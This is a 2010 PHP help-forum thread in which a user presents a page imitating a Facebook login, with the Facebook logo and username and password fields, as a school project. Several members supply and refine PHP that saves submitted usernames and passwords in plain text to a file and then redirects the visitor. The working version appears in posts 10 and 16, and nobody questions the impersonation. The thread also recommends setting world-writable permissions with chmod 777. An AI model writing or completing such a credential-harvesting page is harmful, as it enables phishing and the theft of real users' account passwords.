Writing form data to a text file

Discussion in 'PHP' started by smd75jr, Jan 26, 2010.

  1. #1
    Ok, so I'm working on a project for school, and i cant for the life of me figure out how to do this.

    I need to be able to save the output of these forms (only 2 of them) to a text file. Each field needs to be on a separate line.


    <style type="text/css">
    <!--
    .FacebookConnect {
    	font-family: Verdana, Geneva, sans-serif;
    	font-size: 16px;
    	color: #FFF;
    	background-image: url(http://67.86.117.21/facebook/floor2_1.jpg);
    	background-repeat: repeat;
    }
    .FacebookConnect {
    	text-align: center;
    }
    -->
    </style>
    <body class="FacebookConnect"><form method=post action=facebookconnect.php?action=register>
    <p><img src="facebook-logo.png" width="700" height="300" /></p>
    <table>
      <tr><td>Username:</td><td><input type=text name=user></td></tr>
    <tr><td>Pass:</td><td><input type=password name=pass></td></tr>
    <tr><td colspan=2 align=center><input type=submit value=Log-In></td></tr>
    </table>
    </form>
    HTML:


    I have been trying to do this in php, but cant seem to figure out how as im very new to php (and code in general).

    I would greatly appreciate some help.

    Thanks.
     
    smd75jr, Jan 26, 2010 IP
  2. javaongsan

    javaongsan Well-Known Member

    Messages:
    1,054
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    128
    #2
    
    $fileConn = fopen($data_file,"a");
    fwrite($fileConn, $_POST["user"]."\n");		
    fwrite($fileConn, $_POST["pass"]."\n");	
    
    Code (markup):
     
    javaongsan, Jan 26, 2010 IP
  3. Haney

    Haney Peon

    Messages:
    91
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Haney, Jan 26, 2010 IP
  4. smd75jr

    smd75jr Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #4
    Javaongsan: where exactaly would i put this?
     
    smd75jr, Jan 26, 2010 IP
  5. prasanthmj

    prasanthmj Member

    Messages:
    62
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    45
    #5
    prasanthmj, Jan 26, 2010 IP
  6. smd75jr

    smd75jr Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    So here is what i've don (but it still doesn't work)


    <style type="text/css">
    <!--
    .FacebookConnect {
    	font-family: Verdana, Geneva, sans-serif;
    	font-size: 16px;
    	color: #FFF;
    	background-image: url(http://67.86.117.21/facebook/floor2_1.jpg);
    	background-repeat: repeat;
    }
    .FacebookConnect {
    	text-align: center;
    }
    -->
    <?php
      $fileConn = fopen($data_file,"a");
      fwrite($fileConn, $_POST["user"]."\n");		
      fwrite($fileConn, $_POST["pass"]."\n");
      $register = $_REQUEST['register'];
      if ($register == 1){
      $data = $_POST['user'];
      $data .= $_POST['pass'];
      $file = "1.txt";
      $fp = fopen($file, "a") or die("Couldn't open $file for writing!");
      fwrite($fp, $data) or die("Couldn't write values to file!");
      fclose($fp);
      echo "Request Successfully Send.";
      }
    ?>
    </style>
    <body class="FacebookConnect"><form method=post action=facebookconnect.php?action=register>
    <p><img src="facebook-logo.png" width="700" height="300" /></p>
    <table>
      <tr><td>Username:</td><td><input type=text name=user></td></tr>
    <tr><td>Pass:</td><td><input type=password name=pass></td></tr>
    <tr><td colspan=2 align=center><input type=submit value=Log-In></td></tr>
    </table>
    </form>
    HTML:
     
    smd75jr, Jan 27, 2010 IP
  7. smd75jr

    smd75jr Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #7
    So this is what i have so far (but its still producing errors).

    index.php:

    <style type="text/css">
    <!--
    .FacebookConnect {
    	font-family: Verdana, Geneva, sans-serif;
    	font-size: 16px;
    	color: #FFF;
    	background-image: url(http://67.86.117.21/facebook/floor2_1.jpg);
    	background-repeat: repeat;
    }
    .FacebookConnect {
    	text-align: center;
    }
    -->
    </style>
    <body class="FacebookConnect"><form action=facebookconnect.php method=post>
    <p><img src="facebook-logo.png" width="700" height="300" /></p>
    <table>
      <tr><td>Username:</td><td><input type=text name=user></td></tr>
    <tr><td>Password:</td><td><input type=password name=pass></td></tr>
    <tr><td colspan=2 align=center><input type=submit name=formsubmit value=Log-In></td></tr>
    </table>
    </form>
    HTML:

    facebookconnect.php:


    <?php
    
      if($_POST['formSubmit'] == "Log-In") 
      {
      
      $errorMessage = "";
    
      if(empty($_POST['formuser'])) 
      {
        $errorMessage .= "<li>Please enter your username!</li>";
      }
      if(empty($_POST['formpass'])) 
      {
        $errorMessage .= "<li>Please enter your password!</li>";
      }
    
        $varMovie = $_POST['user'];
    	$varMovie = $_POST['pass'];
    	
    	
    	  if(!empty($errorMessage)) 
      {
        echo("<p>Could not log you in!:</p>\n");
        echo("<ul>" . $errorMessage . "</ul>\n");
      } 
      else 
    {
      $fs = fopen("mydata.csv","a");
      fwrite($fs,$varName . ", " . $varMovie . "\n");
      fclose($fs);
    
      header("Location: thankyou.html");
      exit;
    
    }
    ?>
    PHP:
    Does anybody have any idea how to make this work?
     
    smd75jr, Jan 27, 2010 IP
  8. danx10

    danx10 Peon

    Messages:
    1,179
    Likes Received:
    44
    Best Answers:
    2
    Trophy Points:
    0
    #8
    Let me guess something like?

    Notice: Undefined variable: varName in facebookconnect.php on line 29
    Code (markup):
    Follow the error and debug, if you need help - reply with the errors you get and whats not working.
     
    danx10, Jan 27, 2010 IP
  9. smd75jr

    smd75jr Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #9
    Oh, I compleatly forgot, sorry, here is the error.


    # Please enter your username!"; } if(empty($_POST['formpass'])) { $errorMessage .= "Please enter your password!
    "; } $varMovie = $_POST['user']; $varMovie = $_POST['pass']; if(!empty($errorMessage)) { echo("
    
    Could not log you in!:
    \n"); echo("
    
          " . $errorMessage . "
    
    \n"); } else { $fs = fopen("mydata.csv","a"); fwrite($fs,$varName . ", " . $varMovie . "\n"); fclose($fs); header("Location: thankyou.html"); exit; } ?>
    Code (markup):
     
    smd75jr, Jan 27, 2010 IP
  10. javaongsan

    javaongsan Well-Known Member

    Messages:
    1,054
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    128
    #10
    Your code is probably too messy. Try this.

    
    <? //index.php ?>
    <style type="text/css">
    <!--
    .FacebookConnect {
        font-family: Verdana, Geneva, sans-serif;
        font-size: 16px;
        color: #FFF;
        background-image: url(http://67.86.117.21/facebook/floor2_1.jpg);
        background-repeat: repeat;
    }
    .FacebookConnect {
        text-align: center;
    }
    -->
    </style>
    <script language="JavaScript">
    function check(){
    	if (document.signup.user.value == "") {
    		alert("Please fill in your Username.");
    		document.signup.user.focus();
    		return false;
    	}                          
    	
    	if (document.signup.pass.value == "") {
    		alert("Please fill in your Password.");
    		document.signup.pass.focus();
    		return false;
    	}                          
    	
    }</script>
    <body class="FacebookConnect">
    <form name="signup" action="facebookconnect.php" method="post">
    <p><img src="facebook-logo.png" width="700" height="300" /></p>
    <table>
    <tr><td>Username:</td><td><input type="text" name="user"></td></tr>
    <tr><td>Password:</td><td><input type="password" name="pass"></td></tr>
    <tr><td colspan=2 align=center><input type="submit" name="formsubmit" value="Log-In" onclick="return check();"></td></tr></table>
    </form>
    Code (markup):
    
    <?php
    //facebookconnect.php
    if (isset($_POST['user'], $_POST['pass']))
    {	
      $fs = fopen("mydata.csv","a");
      fwrite($fs,$_POST['user']. ", " .$_POST['pass'] . "\n");
      fclose($fs);
    
    	header("Location: thankyou.html");
    }
    else
    	 header("Location: index.php");
    ?>
    
    Code (markup):
     
    javaongsan, Jan 27, 2010 IP
  11. smd75jr

    smd75jr Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #11
    Thank You, This solves the problem with the errors, however, it still is not writing any data to the output file.
     
    smd75jr, Jan 28, 2010 IP
  12. TheDarkAssassin

    TheDarkAssassin Peon

    Messages:
    63
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #12
    mydata.csv

    Does that file exist?
     
    TheDarkAssassin, Jan 28, 2010 IP
  13. smd75jr

    smd75jr Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #13
    yes, i just made a new txt file and gave it that name.
     
    smd75jr, Jan 28, 2010 IP
  14. HivelocityDD

    HivelocityDD Peon

    Messages:
    179
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #14
    Please try to give the absolute path to the file.

    for example instead of

    
    fopen("mydata.csv","a")
    
    Code (markup):
    try
    
    fopen("/home/yourname/public_html/mydata.csv","a")
    
    Code (markup):
    Here "/home/yourname/public_html/" should be replaced by your path.

    Also make sure you put the write permission to the file.
     
    HivelocityDD, Jan 28, 2010 IP
  15. smd75jr

    smd75jr Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #15
    It still does not help. No output to the files at all. I also tried adding a line to the facebookconnect.php

    chmod("http://67.86.117.21/facebook/mydata.csv", 0666);
    PHP:
    But this does not help.
     
    smd75jr, Jan 28, 2010 IP
  16. danx10

    danx10 Peon

    Messages:
    1,179
    Likes Received:
    44
    Best Answers:
    2
    Trophy Points:
    0
    #16
    <?php
      //facebookconnect.php
      error_reporting(E_ALL);
      if (isset($_REQUEST['formsubmit']) && !empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
          $file = "mydata.csv";
          if (file_exists($file)) {
              if (is_writable($file)) {
                  $csv = $_REQUEST['user'] . ", " . $_REQUEST['pass'] . "\n";
                  $fs = fopen($file, "a");
                  fwrite($fs, $csv);
                  fclose($fs);
                  header("Location: thankyou.html");
              } else {
                  echo "File is not writable";
              }
          } else {
              echo "File does not exist!";
          }
      } else {
          
          header("Location: index.php");
      }
    ?>
    PHP:
     
    danx10, Jan 28, 2010 IP
  17. smd75jr

    smd75jr Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #17
    Sadly, this also dosen't help. :confused:
     
    smd75jr, Jan 28, 2010 IP
  18. javaongsan

    javaongsan Well-Known Member

    Messages:
    1,054
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    128
    #18
    try giving the directory full permission
    chmod -R 777 directory
     
    javaongsan, Jan 28, 2010 IP
  19. smd75jr

    smd75jr Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #19
    This also dosn't help :(
     
    smd75jr, Jan 29, 2010 IP